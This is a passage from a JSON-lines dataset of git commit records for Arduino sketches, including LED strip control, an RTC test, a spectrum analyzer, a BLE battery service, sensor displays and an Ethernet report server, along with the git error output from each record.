2:\n weekdays = tuesday;\n break;\n case 3:\n weekdays = wednesday;\n break;\n case 4:\n weekdays = thursday;\n break;\n case 5:\n weekdays = friday;\n break;\n case 6:\n weekdays = saturday;\n break;\n default:\n break;\n }\n\n switch(monthnum)\n {\n case 1:\n months = january;\n break;\n case 2:\n months = february;\n break;\n case 3:\n months = march;\n break;\n case 4:\n months = april;\n break;\n case 5:\n months = may;\n break;\n case 6:\n months = june;\n break;\n case 7:\n months = july;\n break;\n case 8:\n months = august;\n break;\n case 9:\n months = september;\n break;\n case 10:\n months = october;\n break;\n case 11:\n months = november;\n break;\n case 12:\n months = december;\n break;\n default:\n break;\n }\n Serial.println(F(\"UTC Time:\"));\n Serial.print(monthnum);\n Serial.print(F(\"\/\"));\n Serial.print(days);\n Serial.print(F(\"\/\"));\n Serial.print(years);\n Serial.print(F(\" \"));\n Serial.print(hours);\n Serial.print(F(\":\"));\n if(minutes < 10)\n Serial.print(F(\"0\"));\n Serial.print(minutes);\n Serial.print(F(\":\"));\n if(seconds < 10)\n Serial.print(F(\"0\"));\n Serial.println(seconds);\n Serial.print(F(\"Month: \"));\n Serial.println(months);\n Serial.print(F(\"Day of the week: \"));\n Serial.println(weekdays);\n\n Wire.beginTransmission(deviceAddr);\n Wire.write(reg_Tmr_CLKOUT_ctrl);\n Wire.write(byte(0x3A));\n Wire.endTransmission();\n\n Wire.beginTransmission(deviceAddr);\n Wire.write(reg_Tmr_A_freq_ctrl);\n Wire.write(byte(0x02));\n Wire.endTransmission();\n\n Wire.beginTransmission(deviceAddr);\n Wire.write(reg_Tmr_A_reg);\n Wire.write(byte(0x04));\n Wire.endTransmission();\n\n Wire.beginTransmission(deviceAddr);\n Wire.write(reg_Control_2);\n Wire.write(byte(0x02));\n Wire.endTransmission();\n}\n\nvoid loop()\n{ \n \/\/ put your main code here, to run repeatedly:\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/piggy_back_loggers\/RTC_Tests.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"dcc715ee96cfdb6a704e16b280616699e5147395","subject":"Initial arduino upload","message":"Initial arduino upload\n","repos":"jkuner\/uptime-traffic-light","old_file":"arduino\/hackathon_arduino.ino","new_file":"arduino\/hackathon_arduino.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define PIN 5\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\n\nint InputChar;\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(19200);\n Serial.write(\"Program Started\");\n}\n\nvoid loop() {\n InputChar = Serial.read();\n switch (InputChar) {\n case '1':\n Serial.write(\"Red\");\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n break;\n case '2':\n Serial.write(\"Yellow\");\n colorWipe(strip.Color(255, 255, 0), 50); \/\/ Yellow\n break;\n case '3':\n Serial.write(\"Green\");\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n break;\n\n }\n \/\/ Some example procedures showing how to display to the pixels:\n \/\/rainbow(100);\n \/\/rainbowCycle(100);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/hackathon_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10815053437766477b55dfe406524843abae70d8","subject":"Added PICadillo unit test sketch","message":"Added PICadillo unit test sketch\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"69af9c4859322f69d17c4aa573041b257cf813f0","subject":"Attiny code for the spectrum analyzer","message":"Attiny code for the spectrum analyzer\n","repos":"marian42\/pixelpi,marian42\/pixelpi,derblub\/pixelpi,derblub\/pixelpi,derblub\/pixelpi","old_file":"arduino\/spectrumanalyzer.ino","new_file":"arduino\/spectrumanalyzer.ino","new_contents":"\/* \nThis provides a serial interface for the MSGEQ7 IC. It first sends a 255,\nthen the value of each channel ranging from 0 to 254. Running on an Attiny85.\n\nOriginal code and hardware build notes:\nhttp:\/\/www.instructables.com\/id\/How-to-build-your-own-LED-Color-Organ-Arduino-MSGE\/?ALLSTEPS\n*\/\n\n#include <SoftwareSerial.h>\n\nSoftwareSerial serial (0, 1);\nconst int analogPin = 3;\nconst int strobePin = 4;\nconst int resetPin = 2;\nint spectrumValue[7];\nconst int filter = 80;\n\nvoid setup() {\t\n\tserial.begin(9600);\n\tpinMode(analogPin, INPUT);\n\tpinMode(strobePin, OUTPUT);\n\tpinMode(resetPin, OUTPUT);\n\tdigitalWrite(resetPin, LOW);\n\tdigitalWrite(strobePin, HIGH);\n}\n\nvoid loop() {\n\tserial.write(255);\n\tdigitalWrite(resetPin, HIGH);\n\tdigitalWrite(resetPin, LOW);\n\tfor (int i = 0; i < 7; i++) {\n\t\tdigitalWrite(strobePin, LOW);\n\t\tdelay(1);\n\t\tspectrumValue[i] = analogRead(analogPin);\n\t\tspectrumValue[i] = constrain(spectrumValue[i], filter, 1023);\n\t\tspectrumValue[i] = map(spectrumValue[i], filter, 1023, 0, 254);\n\t\tserial.write(spectrumValue[i]);\n\t\tdigitalWrite(strobePin, HIGH);\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/spectrumanalyzer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf77f8566b1f3c140f2c5bbab41d7d7e74076f7b","subject":"Added arduino sketch for battery service","message":"Added arduino sketch for battery service\n","repos":"jontore\/web_bluetooth_demo,jontore\/web_bluetooth_demo,jontore\/web_bluetooth_demo,jontore\/web_bluetooth_demo,jontore\/web_bluetooth_demo","old_file":"arduino_battery_bluetooth.ino","new_file":"arduino_battery_bluetooth.ino","new_contents":"\/*\n * Copyright (c) 2016 Intel Corporation. All rights reserved.\n * See the bottom of this file for the license terms.\n *\/\n\n#include <CurieBLE.h>\n\n\/*\n This sketch example partially implements the standard Bluetooth Low-Energy Battery service.\n For more information: https:\/\/developer.bluetooth.org\/gatt\/services\/Pages\/ServicesHome.aspx\n*\/\n\n\/* *\/\nBLEPeripheral blePeripheral; \/\/ BLE Peripheral Device (the board you're programming)\nBLEService batteryService(\"180F\"); \/\/ BLE Battery Service\n\n\/\/ BLE Battery Level Characteristic\"\nBLEUnsignedCharCharacteristic batteryLevelChar(\"2A19\", \/\/ standard 16-bit characteristic UUID\n BLERead | BLENotify); \/\/ remote clients will be able to\n\/\/ get notifications if this characteristic changes\n\nint oldBatteryLevel = 0; \/\/ last battery level reading from analog input\nlong previousMillis = 0; \/\/ last time the battery level was checked, in ms\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize serial communication\n pinMode(13, OUTPUT); \/\/ initialize the LED on pin 13 to indicate when a central is connected\n\n \/* Set a local name for the BLE device\n This name will appear in advertising packets\n and can be used by remote devices to identify this BLE device\n The name can be changed but maybe be truncated based on space left in advertisement packet *\/\n blePeripheral.setLocalName(\"BatteryMonitorSketch\");\n blePeripheral.setAdvertisedServiceUuid(batteryService.uuid()); \/\/ add the service UUID\n blePeripheral.addAttribute(batteryService); \/\/ Add the BLE Battery service\n blePeripheral.addAttribute(batteryLevelChar); \/\/ add the battery level characteristic\n batteryLevelChar.setValue(oldBatteryLevel); \/\/ initial value for this characteristic\n\n \/* Now activate the BLE device. It will start continuously transmitting BLE\n advertising packets and will be visible to remote BLE central devices\n until it receives a new connection *\/\n blePeripheral.begin();\n Serial.println(\"Bluetooth device active, waiting for connections...\");\n}\n\nvoid loop() {\n \/\/ listen for BLE peripherals to connect:\n BLECentral central = blePeripheral.central();\n\n \/\/ if a central is connected to peripheral:\n if (central) {\n Serial.print(\"Connected to central: \");\n \/\/ print the central's MAC address:\n Serial.println(central.address());\n \/\/ turn on the LED to indicate the connection:\n digitalWrite(13, HIGH);\n\n \/\/ check the battery level every 200ms\n \/\/ as long as the central is still connected:\n while (central.connected()) {\n long currentMillis = millis();\n \/\/ if 200ms have passed, check the battery level:\n if (currentMillis - previousMillis >= 200) {\n previousMillis = currentMillis;\n updateBatteryLevel();\n }\n }\n \/\/ when the central disconnects, turn off the LED:\n digitalWrite(13, LOW);\n Serial.print(\"Disconnected from central: \");\n Serial.println(central.address());\n }\n}\n\nvoid updateBatteryLevel() {\n \/* Read the current voltage level on the A0 analog input pin.\n This is used here to simulate the charge level of a battery.\n *\/\n int battery = analogRead(A0);\n int batteryLevel = map(battery, 0, 1023, 0, 100);\n\n if (batteryLevel != oldBatteryLevel) { \/\/ if the battery level has changed\n Serial.print(\"Battery Level % is now: \"); \/\/ print it\n Serial.println(batteryLevel);\n batteryLevelChar.setValue(batteryLevel); \/\/ and update the battery level characteristic\n oldBatteryLevel = batteryLevel; \/\/ save the level for next comparison\n }\n}\n\n\/*\n Copyright (c) 2016 Intel Corporation. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_battery_bluetooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f0e9326e4afce68eea706227373291ec4d68e98","subject":"Initial","message":"Initial","repos":"grcasanova\/BadUSB","old_file":"code.ino","new_file":"code.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27de78714361482f7da2393718fa7b2de3ad068f","subject":"Add files via upload","message":"Add files via upload\n\nCommit do c\u00f3digo do projeto rob\u00f4 desenhista","repos":"IgorGuilhermeC\/exerciciosfaculdade,igorgcustodio\/exerciciosfaculdade,igorgcustodio\/exerciciosfaculdade,IgorGuilhermeC\/exerciciosfaculdade,IgorGuilhermeC\/exerciciosfaculdade,igorgcustodio\/exerciciosfaculdade,IgorGuilhermeC\/exerciciosfaculdade,igorgcustodio\/exerciciosfaculdade,igorgcustodio\/exerciciosfaculdade,IgorGuilhermeC\/exerciciosfaculdade,igorgcustodio\/exerciciosfaculdade","old_file":"matriz_motor.ino","new_file":"matriz_motor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/IgorGuilhermeC\/exerciciosfaculdade.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"045d8c0ddb96f9b42ddcd7e1b39716ccee8c5cd7","subject":"Create valosysteemi.ino","message":"Create valosysteemi.ino\n\nFirst sketch to measure temperature with Arduino and display it using leds, lcd and serial interface, see also https:\/\/goo.gl\/photos\/ynFoEGsza6a5EGB69","repos":"vanne02135\/home_automation,vanne02135\/home_automation","old_file":"valosysteemi.ino","new_file":"valosysteemi.ino","new_contents":"#include <LiquidCrystal.h>\n\nconst int temperaturePin = 0;\n\n LiquidCrystal lcd(2, 3, 4, 5, 6, 7);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n int i; \n for (i = 8; i < 14; i++) \n pinMode(i, OUTPUT);\n\n lcd.begin(16, 2);\n\n lcd.clear();\n\n lcd.print(\"It is ALIVE!\");\n\n\n Serial.begin(9600);\n\n}\n\nvoid loop() {\n\n float temperature = voltageToC(getVoltage(temperaturePin));\n Serial.print(temperature); \n Serial.print(\" deg C\\n\");\n ledDisplay(temperature); \n lcd.clear();\n lcd.setCursor(0, 1);\n lcd.print(temperature); \n \n lcd.setCursor(6, 1); \n lcd.print(\"astetta\");\n \n lcd.setCursor(0, 0); \n lcd.print(\"Lampomittari\"); \n delay(100); \n \n \/\/ledikikka();\n\n}\n\nvoid ledDisplay(float temp) {\n \/\/ map 23 - 30 to leds on pins 8-13. 13 is the coolest. \n int i; \n for (i = 8; i < 14; i++) { \n digitalWrite(i, LOW); \n }\n\n if (temp < 23 ) return;\n if (temp > 23 ) digitalWrite(13, HIGH); \n if (temp > 24.5) digitalWrite(12, HIGH); \n if (temp > 26 ) digitalWrite(11, HIGH); \n if (temp > 27.5) digitalWrite(10, HIGH); \n if (temp > 29 ) digitalWrite(9, HIGH); \n if (temp > 31.5) digitalWrite(8, HIGH); \n\n}\n\nfloat voltageToC(float U) {\n\n return (U - 0.5) * 100.0;\n}\n\nfloat getVoltage(int pin)\n{\n \/\/ This function has one input parameter, the analog pin number\n \/\/ to read. You might notice that this function does not have\n \/\/ \"void\" in front of it; this is because it returns a floating-\n \/\/ point value, which is the true voltage on that pin (0 to 5V).\n\n return (analogRead(pin) * 0.004882814);\n\n \/\/ This equation converts the 0 to 1023 value that analogRead()\n \/\/ returns, into a 0.0 to 5.0 value that is the true voltage\n \/\/ being read at that pin.\n}\n\n\nvoid ledikikka() {\n int i; \n for (i = 8; i < 14; i++) { \n digitalWrite(i, HIGH); \n delay(100); \n }\n\n for (i = 8; i < 14; i++) { \n digitalWrite(i, LOW); \n delay(100); \n }\n\nint l = 0; \n\n while (l++ < 10) {\n for (i = 8;i < 14; i++)\n {\n digitalWrite(i, HIGH); \n delay(l*10);\n digitalWrite(i, LOW); \n }\n\n for (i = 13;i>7; i--)\n {\n digitalWrite(i, HIGH); \n delay(l*10);\n digitalWrite(i, LOW); \n }\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'valosysteemi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7ed160e773a37fed56ced16500955e27c64a1c10","subject":"Added lunar-lander arduino code.","message":"Added lunar-lander arduino code.\n","repos":"mikaelkindborg\/evothings-demos,mikaelkindborg\/evothings-demos,mikaelkindborg\/evothings-demos,divineprog\/evothings-demos,evothings\/evothings-demos,evothings\/evothings-demos,evothings\/evothings-demos,divineprog\/evothings-demos,mikaelkindborg\/evothings-demos,evothings\/evothings-demos,mikaelkindborg\/evothings-demos,evothings\/evothings-demos","old_file":"lunar-lander\/arduinoeth\/arduinoeth.ino","new_file":"lunar-lander\/arduinoeth\/arduinoeth.ino","new_contents":"\/*\nArduino WiFi Script Server\n\nCreated October 20, 2013\nMikael Kindborg, Evothings AB\n\nTCP socket server that accept connections and sends reports\nfrom the Arduino board.\n\nThis example is written for a network using WPA encryption.\nFor WEP or unencrypted WiFi, change the Wifi.begin() call according to\nthe documentation of the Wifi class, found in the Arduino SDK.\n\nThe reports are delimited by \\n (LF, code 0x0A).\nA report may be any of the following:\n\nAnalog input pin value:\nA<decimal number>\nExample:\nA346\n\nDigital input pin value:\nD<0|1>\nExamples:\nD0\nD1\n\n*\/\n\n\/\/ Include files.\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Local configuration.\n#define HAVE_CLIENT 1\n#define NETCAT_DEBUG 0\n\n\n\/\/ Enter a MAC address for your controller below, usually found on a sticker\n\/\/ on the back of your Ethernet shield.\nbyte mac[] = { 0x90, 0xA2, 0xDA, 0x0E, 0xD0, 0x93 };\n\n\/\/ The IP address will be dependent on your local network.\n\/\/ If you have IP network info, uncomment the lines starting\n\/\/ with IPAddress and enter relevant data for your network.\n\/\/ If you don't know, you probably have dynamically allocated IP adresses, then\n\/\/ you don't need to do anything, move along.\n\/\/ IPAddress ip(192,168,1, 177);\n\/\/ IPAddress gateway(192,168,1, 1);\n\/\/ IPAddress subnet(255, 255, 255, 0);\n\n\/\/ Create a server listening on the given port.\nEthernetServer server(3300);\n\n\/\/ Your network key Index number (needed only for WEP).\nint keyIndex = 0;\n\n\/\/ Input pin definitions.\nstatic const int AnalogInputPin = 0;\n\n\/\/ Try pins 2-6. Pins 0, 1, 7+ are known to be used by WiFi and other systems...\nstatic const int DigitalInputPin = 3;\n\nvoid setup()\n{\n\t\/\/ Start serial communication with the given baud rate.\n\t\/\/ NOTE: Remember to set the baud rate in the Serial\n\t\/\/ monitor to the same value.\n\tSerial.begin(9600);\n\n\t\/\/ Wait for serial port to connect. Needed for Leonardo only\n\twhile (!Serial) { ; }\n\n\tSerial.println(\"Hello World!\");\n\n#if HAVE_CLIENT\n\t\/\/ Initialize the Ethernet shield.\n\t\/\/ If you entered fixed ipaddress info, gateway, subnet mask,\n\t\/\/ then uncommment the next line.\n\t\/\/ Ethernet.begin(mac, ip, gateway, subnet);\n\n\t\/\/ If it works to get a dynamic IP from a DHCP server, use this\n\t\/\/ code to test if you're getting a dynamic adress. If this\n\t\/\/ does not work, use the above method of specifying an IP-address.\n\t\/\/ dhcp test starts here\n\tif (Ethernet.begin(mac) == 0)\n\t{\n\t\tSerial.println(\"Failed to configure Ethernet using DHCP\");\n\t\t\/\/ No point in carrying on, stop here forever.\n\t\twhile(true) ;\n\t}\n\t\/\/ dhcp test end\n\n\t\/\/ Start the server.\n\tserver.begin();\n#endif\n\n\tpinMode(DigitalInputPin, INPUT_PULLUP);\n\n\t\/\/ Print IP address.\n\tprintServerStatus();\n}\n\nvoid loop()\n{\n#if HAVE_CLIENT\n\t\/\/ Listen for incoming client requests.\n\tEthernetClient client = server.available();\n\n\tif(client)\n\t{\n\t\tSerial.println(\"Client connected\");\n\t\twhile(client.connected())\n\t\t{\n\t\t\t\/\/ Flush the input buffer.\n\t\t\t\/\/ This will allow connected() to return false appropriately when the client disconnects.\n\t\t\twhile(client.read() != -1);\n\n\t\t\tcheckInputValues(&client);\n\t\t}\n\t\tSerial.println(\"Client disonnected\");\n\t\tclient.stop();\n\t}\n#else\n\tcheckInputValues(NULL);\n#endif\n}\n\nvoid checkInputValues(EthernetClient* client)\n{\n\tstatic int oldAnalogValue = -1000;\n\tstatic int oldDigitalValue = -1000;\n\n\tint newDigitalValue = digitalRead(DigitalInputPin);\n\tif(newDigitalValue != oldDigitalValue)\n\t{\n#if NETCAT_DEBUG\n#define DIGITAL_PREFIX \"DIGITAL \"\n#else\n#define DIGITAL_PREFIX \"D\"\n#endif\n\t\tsendReport(client, String(DIGITAL_PREFIX)+String(newDigitalValue));\n\t\toldDigitalValue = newDigitalValue;\n\t}\n\n\t\/\/ Analog values usually vary 1 or 2 units even if you don't move the potentiometer.\n\t\/\/ Let's avoid sending too many reports.\n\tint newAnalogValue = analogRead(AnalogInputPin);\n\tif(abs(newAnalogValue - oldAnalogValue) > 10)\n\t{\n#if NETCAT_DEBUG\n#define ANALOG_PREFIX \"ANALOG \"\n#else\n#define ANALOG_PREFIX \"A\"\n#endif\n\t\tsendReport(client, String(ANALOG_PREFIX)+String(newAnalogValue));\n\t\toldAnalogValue = newAnalogValue;\n\t}\n}\n\nvoid sendReport(EthernetClient* client, String report)\n{\n\tstatic int count = 0;\n\tcount++;\n#if HAVE_CLIENT\n\t\/\/ Send response to client.\n#if NETCAT_DEBUG\n\tclient->print(count);\n\tclient->print(\": \");\n#endif\n\tclient->print(report+String(\"\\n\"));\n#endif\n\n\t\/\/ Debug print.\n\tSerial.print(\"report \");\n\tSerial.print(count);\n\tSerial.print(\": \");\n\tSerial.println(report);\n}\n\nvoid printServerStatus()\n{\n\tSerial.print(\"Server address: \");\n\tSerial.println(Ethernet.localIP());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lunar-lander\/arduinoeth\/arduinoeth.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d7b81fce1e75a96473d89a8e30e3389047ef1c82","subject":"Added main arduino file","message":"Added main arduino file\n\n","repos":"evanxq\/CampusFlow,evanxq\/CampusFlow,evanxq\/CampusFlow","old_file":"arduino-firmware\/arduino-firmware.ino","new_file":"arduino-firmware\/arduino-firmware.ino","new_contents":"\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-firmware\/arduino-firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ae890c852abe6c3e98c23ada8a6db30e95abfdd","subject":"Initalize HyrdoCore","message":"Initalize HyrdoCore\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"hydroCore\/hydroCore.ino","new_file":"hydroCore\/hydroCore.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3642126095a689cb209ba9bd19f1c99fcdc28e0b","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"leesdolphin\/lighting-robot,leesdolphin\/lighting-robot","old_file":"LED_ARDUINO.ino","new_file":"LED_ARDUINO.ino","new_contents":"\/\/ NeoPixel Ring simple sketch (c) 2013 Shae Erisson\n\/\/ released under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n\n#include <Adafruit_NeoPixel.h>\n#include <avr\/power.h>\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n\/\/ On a Trinket or Gemma we suggest changing this to 1\n#define PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define NUMPIXELS 150\n\n#define BYTES_TO_READ (NUMPIXELS * 3)\n#define RESET_BIT -2\n\n\/\/ This is 0xFE\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\n\/\/ Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest\n\/\/ example for more information on possible values.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 500; \/\/ delay for half a second\nchar readB[BYTES_TO_READ];\nchar color[BYTES_TO_READ];\nint pixIdx0;\n\nint led = 13;\n\n\nvoid setAllPixels(uint32_t color) {\n for(int i = 0; i < NUMPIXELS; i++) {\n pixels.setPixelColor(i, color);\n }\n pixels.show();\n}\n\nvoid readToReset() {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n int numResets = 0;\n while(numResets < 6) {\n while(Serial.available() < 1) {\n \/\/ Wait for some to be avaliable\n delay(1);\n }\n char r = Serial.read();\n if(r == -1) {\n \/\/ Should never happen.\n continue;\n } else if(r == RESET_BIT) {\n numResets++;\n } else {\n numResets = 0;\n }\n }\n digitalWrite(led, LOW); \/\/ turn the LED on (HIGH is the voltage level)\n}\n\n\/\/bool checkLastBytesReset(char bytes[]) {\n\/\/ const size_t x = BYTES_TO_READ;\n\/\/ bool y = bytes[x - 6] == RESET_BIT &&\n\/\/ bytes[x - 5] == RESET_BIT &&\n\/\/ bytes[x - 4] == RESET_BIT &&\n\/\/ bytes[x - 3] == RESET_BIT &&\n\/\/ bytes[x - 2] == RESET_BIT &&\n\/\/ bytes[x - 1] == RESET_BIT;\n\/\/ return y;\n\/\/}\n\n\nvoid setup() {\n Serial.begin(1000000);\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n#if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n#endif\n \/\/ End of trinket special code\n\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n \n memset(color, 32, sizeof(color));\n \n \n pinMode(led, OUTPUT);\n setAllPixels(pixels.Color(0, 0, 32));\n}\n\nvoid loop() { \n \/\/ For a set of NeoPixels the first NeoPixel is 0, second is 1, all the way up to the count of pixels minus one.\n\/\/ while(Serial.available() < 1) {\n\/\/ delay(1);\n\/\/ }\n int read = Serial.readBytes(readB, BYTES_TO_READ);\n if (read != BYTES_TO_READ) {\n \/\/ Insufficient data read.\n \/\/ 2 Options:\n \/\/ - Continue reading and adding to array.\n \/\/ - Ignore this buffer(reuse old one) and read to reset.\n \n \/\/ I'm lazy\n \/\/ GREEN\n } else {\n memcpy(color, readB, sizeof(color));\n }\n \n for(int pix = 0; pix < NUMPIXELS; pix++) {\n pixels.setPixelColor(pix, pixels.Color(color[(pix * 3)], color[(pix * 3) + 1], color[(pix * 3) + 2]));\n }\n pixels.show();\n Serial.write(\"a\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LED_ARDUINO.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"c99eff724c2f8e9a9d1a8658ee53debf311065db","subject":"Fixed a bug due to refactoring.","message":"Fixed a bug due to refactoring.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"301ef620f42841085db400877ecdfc9a56437c39","subject":"Delete dht_sensor_test.ino","message":"Delete dht_sensor_test.ino\n\nNot needed.","repos":"soniap\/Ai_8266_Demos","old_file":"IoT Weather Station\/dht_sensor_test\/dht_sensor_test.ino","new_file":"IoT Weather Station\/dht_sensor_test\/dht_sensor_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'IoT' did not match any file(s) known to git\nerror: pathspec 'Weather' did not match any file(s) known to git\nerror: pathspec 'Station\/dht_sensor_test\/dht_sensor_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"03814f5c85c1ea8447d5559a05a31a2e965e42e8","subject":"Create ModbusEnergyMonitor.ino","message":"Create ModbusEnergyMonitor.ino","repos":"peninquen\/Modbus-Energy-Monitor-Arduino,cosmopaco\/Modbus-Energy-Monitor-Arduino,peninquen\/Modbus-Energy-Monitor-Arduino,cosmopaco\/Modbus-Energy-Monitor-Arduino","old_file":"ModbusEnergyMonitor.ino","new_file":"ModbusEnergyMonitor.ino","new_contents":"\/**********************************************************************\n* ModbusEnergyMonitor example\n* An example to collect data from a Modbus energy monitor using ModbusSensor class\n* to datalogger, include a RTC DS3231 and a SD card\n* version 0.3 ALPHA 21\/09\/2015\n* \n* Author: Jaime Garc\u00eda @peninquen\n* License: Apache License Version 2.0.\n*\n**********************************************************************\/\n\/*\nPULSE ELECTRICAL ENERGY MONITOR\nDDS238-1 SINGLE-PHASE DIN-RAIL TYPE WATT-HOUR METER\nTECHNICAL DETAILS\nSTANDARD IEC 62053-21 (IEC61036)\nNominal voltage: 120\/220\/230\/240 V +-10%\nBasic current (It): 5 A\nMaximun current (Ib1) 32 A\nMinimun current: 0.02 A\nFrequency: 50\/60 Hz\nConsumption: <2w \/ 10 VA\nAccurancy class: 1\nDisplay: Mechanical 5+1 digits\n LCD 5+1 \/ 6+1 digits\nInterface: Open colector output (SO) SO+ ---------------------- PIN 2 (INT0) INTERNAL PULLUP 